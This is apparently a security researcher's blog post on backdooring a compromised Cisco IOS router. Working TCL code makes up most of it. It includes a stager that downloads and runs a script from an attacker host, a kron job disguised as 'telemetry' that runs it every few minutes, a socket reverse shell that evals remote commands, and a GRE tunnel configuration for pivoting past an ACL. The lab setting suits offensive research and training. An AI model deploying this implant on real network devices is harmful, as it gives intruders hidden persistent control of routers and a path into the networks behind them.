# tl;dr
After becoming more interested in routers and embedded firmware, I've realised that I do not have anything to backdoor a breached Cisco router. I (as always) went with the most primitive solution -- TCL scripts. As long as anything on the router can do scripting, HTTP and interface configuration, a beacon is very simple to develop (looking at you, RouterOS).
All code from this post is available as a [gist](https://gist.github.com/zimnyaa/d6b1878d271a8e059ff3ff33619e0055) (because it is not much code tbh).
# beacon requirements
I had several requirements that a simple beacon must fulfill:
- no tedious C2 server development
- implant small enough to type out by hand, if necessary
- as portable as possible (no device-specific stuff)
- http(s) communication
All this ensured that the beacon itself is as simple as possible.
# lab setup
I've used GNS3 for a very simple lab setup:
> ![[ios-infra.png]]
> *GNS3 lab with two network segments and a Cisco 7200 for simplicity*
I have also configured a simple ACL to make sure there is no traffic between two subnets:
> ![[ios-beacon-acl.png]]
> *the ACL is* `deny 10.0.0.0 0.0.0.255; permit any`
# beaconing process
The usage workflow is as follows:
```j
stage requests a URL ->
if status_code == 200, download and run the script in http::data ->
the script is a TCL reverse shell over a simple socket ->
reconfigure router for GRE pivoting
```
This setup does not require a C2 server, only a web server capable of serving static files, a `nc` listener, and a GRE node for pivoting.
The only script uploaded to the Cisco router is the stage:
```tcl
# stage.tcl
set id "cisco-R1"
source "tmpsys:lib/tcl/http.tcl"
::http::config -useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32"
set httpToken [::http::geturl http://10.0.0.3/static/$id]
if {[lindex [split [::http::code $httpToken] " "] 1] == "200"} {
source [::http::data $httpToken]
}
```
It was set to run with a kron task (you can also use EEM for TCL beacons):
```python
R1(config)#kron occurrence telemetry in 0:3 recurring
R1(config-kron-occurrence)#policy-list telemetrypol
Kron: Policy Accepted, Policy telemetrypol needs to be configured
R1(config-kron-occurrence)#kron policy-list telemetrypol
R1(config-kron-policy)#cli tclsh nvram:stage.tcl
```
After adding a `static/ciscoR1` file pointing to the location of the reverse shell, the beacon checks in:
> ![[ios-beacon-checkin.png]]
> *I've used python here because there wasn't a netcat on the debian host*
The reverse shell code is very simple, as TCL supports `eval` and sockets:
```tcl
# revsh.tcl
set id "cisco-R1"
set revip 10.0.0.3
set revport 8080
set s [socket $revip $revport]
fconfigure $s -translation auto
set c ""
while {$c != "revquit"} {
puts -nonewline $s "IOS-tclsh-$id#"
flush $s
gets $s c
if {![catch {set r [eval $c]} err]} {
puts $s $r
}
flush $s
}
close $s
```
# GRE pivoting
A GRE tunnel was set up with a simple oneliner:
```tcl
ios_config "interface tunnel 1" "tunnel mode gre ip" "ip address 172.20.0.2 255.255.255.0" "tunnel source 10.0.0.1" "tunnel destination 10.0.0.3"
```
> ![[ios-beacon-grenew.png]]
> *a tunnel interface is indeed created*
After reconfiguring the Debian host, a tunnel is established:
> ![[ios-clientgre-conf.png]]
> ![[ios-greworks.png]]
> *setting up the link, pinging the peer*
Finally, after adding proper routes on the Debian box, I was able to reach the hosts behind the ACL:
>![[ios-pivoting.png]]
>*you might want to set up GRE over IPSEC for proper outbound pivoting*
You can even set up a SOCKS4a proxy over a beacon like this with https://github.com/mohemiv/TCLtools/blob/master/tclproxy.tcl
# references
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ios_tcl/configuration/12-4t/ios-tcl-12-4t-book/nm-script-tcl.html
https://learnxinyminutes.com/docs/tcl/
https://hackmag.com/security/gre-pivoting/